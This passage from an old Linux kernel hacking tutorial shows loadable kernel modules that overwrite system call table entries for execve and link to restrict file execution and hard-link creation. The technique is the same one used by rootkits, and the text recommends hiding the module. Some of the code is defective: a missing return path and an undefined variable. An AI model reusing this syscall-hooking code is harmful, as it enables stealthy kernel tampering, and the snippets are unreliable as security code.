This section subject may sound familiar to Phrack readers. Route introduced nice
ideas for making the Linux system more secure. He used some patches. I want to
show that some ideas can also be implemented by LKMs. Remember that without
hiding those LKMs it is also <i>useful</i> (of course hiding is something you should
do), because route's patches are also worthless if someone rooted the system;
and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.
The advantage of using LKMs instead of a static kernel patch : you can easily
manage the whole system security, and install it more easily on running system.
It's not necessary to install a new kernel on sensitive system you need every
second.<br>
The Phrack patches also added some logging feature's which I did not implement
but there are thousand ways to do it.The simpelst way would be using printk(...)
[Note : I did not look at every aspect of route's patches. Perhaps real good
kernel hackers would be able to do more with LKMs.]

<H4><A NAME="III.4.1."></A>4.1  Why should we allow arbitrary programs execution rights? </h4>

The following LKM is something like route's kernel patch that checks for
execution rights :

<xmp>
#define __KERNEL__
#define MODULE

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

/* where the sys_calls are */

int __NR_myexecve = 0;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*close)(int);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
(filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
int fd = 0, ret;
struct file *file;

/*we need the inode strucure*/
/*I use the open approach here, because you should understand it from the LKM
infector, read on for seeing a better approach*/
fd = open(filename, O_RDONLY, 0);
        
file = current->files->fd[fd];

/*is this a root file ?*/
/*Remember : you can do other checks here (route did more checks), but this
              is just for demonstration. Take a look at the inode structur to
              see other items to heck for (linux/fs.h)*/
if (file->f_inode->i_uid!=0)
{
  printk("<1>Execution denied !\n");
  close(fd);
  return -1;
}
else /*otherwise let the user execute the file*/
{
  ret = my_execve(filename, argv, envp);
  return ret;
}
}

int init_module(void)                /*module setup*/
{
printk("<1>INIT \n");
__NR_myexecve = 250;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}

open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];     
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_execve]=orig_execve;                                      
}

This is not exactly the same as route's kernel patch. route checked the path we check the file (a path check would also be possible, but in my opinion a file check is also the better way). I only implemented a check for UID of the file, so an admin can filter the file execution process. As I said the open / fd approach I used above is not the easiest way; I took it because it should be familiar to you (remember, the LKM infector used this method). For our purpose the following kernel function is also possible (easier way) :
int namei(const char *pathname, struct inode **res_inode);

int lnamei(const char *pathname, struct inode **res_inode);

Those functions take a certain pathname and return the corresponding inode structure. The difference between the functions above lies in the symlink resolving : lnamei does not resolve a symlink and returns the inode structure for the symlink itself. As a hacker you could also modify inodes. Just retrieve them by hooking sys_execve(...) and using namei(...) (the way we use also for execution control) and manipulate the inode (I will show a practical example of this idea in 5.3).
4.2 The Link Patch
Every Linux user knows that symlink bugs are something which often leads to serious problems if it comes to system security. Andrew Tridgell developed a kernel patch which prevents a process from 'following a link which is in a +t (mostly /tmp/) directory unless they own the link'. Solar Designer added some code which also prevents users from creating hard links in a +t directory to files they don't own.
I have to admit that the symlink patch lies on a layer we can't easily reach from our LKM psotion. There are neither exported symbols we could patch nor any systemcalls we could intercept. The symlink resolving is done by the VFS. Take a look at part IV for methods which could help us to solve this problem (but I would not use the methods from IV to secure a system). You may wonder why I don't use the sys_readlink(...) systemcall for solving the problem. Well this call is used if you do a 'ls -a symlink' but it is not called if you issue a 'cat symlink'.
In my opinion you should leave this as a kernel patch. Of course you can code a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a user from creating symlinks in the /tmp directory. Look at the hard link LKM for a similar implementation.
Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar Designer's idea concerning hard link restrictions. This can be done as LKM. We only need to intercept sys_link(...) which is responsible for creating any hard links.Let's take a look at hacked systemcall (the code fragment does not exactly the same as the kernel patch, because we only check for the '/tmp/' directory, not for the sticky bit(+t),but this can also be done with looking at the inode structure of the directoy [see 5.1]) :
int hacked_link(const char *oldname, const char *newname)
{
char *kernel_newname;
int fd = 0, ret;
struct file *file;

kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_newname, newname, 255);

/*hard link to /tmp/ directory ?*/
if (strstr(kernel_newname, (char*)&hide ) != NULL)
{
  kfree(kernel_newname);

  /*I use the open approach again :)*/
  fd = open(oldname, O_RDONLY, 0);
      
  file = current->files->fd[fd];

  /*check for UID*/
  if (file->f_inode->i_uid!=current->uid)
  {
   printk("<1>Hard Link Creation denied !\n");
   close(fd);
   return -1;
  }
}
else
{
  kfree(kernel_newname);
  /*everything ok -> the user is allowed to create the hard link*/
  return orig_link(oldname, newname);
}
}

[课程]Android-CTF解题方法汇总！